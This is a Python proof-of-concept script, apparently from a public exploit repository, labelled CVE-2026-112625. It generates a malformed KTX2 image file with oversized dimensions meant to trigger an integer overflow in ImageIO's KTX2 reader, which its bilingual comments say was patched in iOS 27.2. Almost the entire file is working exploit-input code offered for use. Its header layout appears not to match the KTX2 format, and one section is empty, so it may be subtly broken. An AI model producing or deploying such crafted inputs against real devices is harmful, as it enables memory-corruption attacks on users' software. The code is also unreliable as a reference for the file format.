Files
cinder27/CVE-2026-112625/CVE-2026-112625.py
T

47 lines
2.0 KiB
Python

#!/usr/bin/env python3
# iio.ktx2 · ImageIO · KTX2ReadPlugin · CVE-2026-112625
# 原语: 整数溢出 · 进程内 | Primitive: integer overflow · in-process
#
# [zh] KTX2 维度/层级尺寸运算
# KTX/KTX2 的层级字节数与块数运算缺少 64 位 umull/umulh 保护,且既有检查所依据的量本身是错的(使用 channels 而非源 bpp)。27.2 增加 \"image
# dimensions overflow\" 与 \"expected %llu bytes\" 两道闸门。
#
# [en] KTX2 dimension and level size arithmetic
# KTX/KTX2 level byte counts and block counts lack 64-bit umull/umulh protection, and the existing
# check is keyed on the wrong quantity (channels rather than source bpp). iOS 27.2 adds "image
# dimensions overflow" and "expected %llu bytes" gates.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112625.swift
# triggers (run closures) & non-seed builders: CVE-2026-112625.swift in this folder
import struct
# --------------------------------------------------------------------------- KTX2
def build_ktx2():
ident = bytes([0xAB, 0x4B, 0x54, 0x58, 0x20, 0x32, 0x30, 0xBB, 0x0D, 0x0A, 0x1A, 0x0A])
vk_format = 0 # 0 => block-compressed via DFD
type_size = 1
w, h = 0xFFFF, 0xFFFF
depth, layers, faces, levels = 0, 0, 1, 1
scheme = 0
kvd_off, kvd_len = 0, 0
sgdt_off, sgdt_len = 0, 0
header = struct.pack("<9I", vk_format, type_size, w, h, depth, layers, faces, levels, scheme)
header += struct.pack("<IQ", kvd_off, kvd_len)
header += struct.pack("<IQQ", sgdt_off, sgdt_len, 0)
# level index: one level, claiming a tiny byteOffset/byteLength
level_index = struct.pack("<QQQ", 0, 0, 64)
body = b"\x00" * 64
return ident + header + level_index + body
# --------------------------------------------------------------------------- DDS BC7
if __name__ == "__main__":
import sys
out = sys.argv[1] if len(sys.argv) > 1 else "ktx2_bad_dims.ktx2"
open(out, "wb").write(build_ktx2())
print("wrote", out)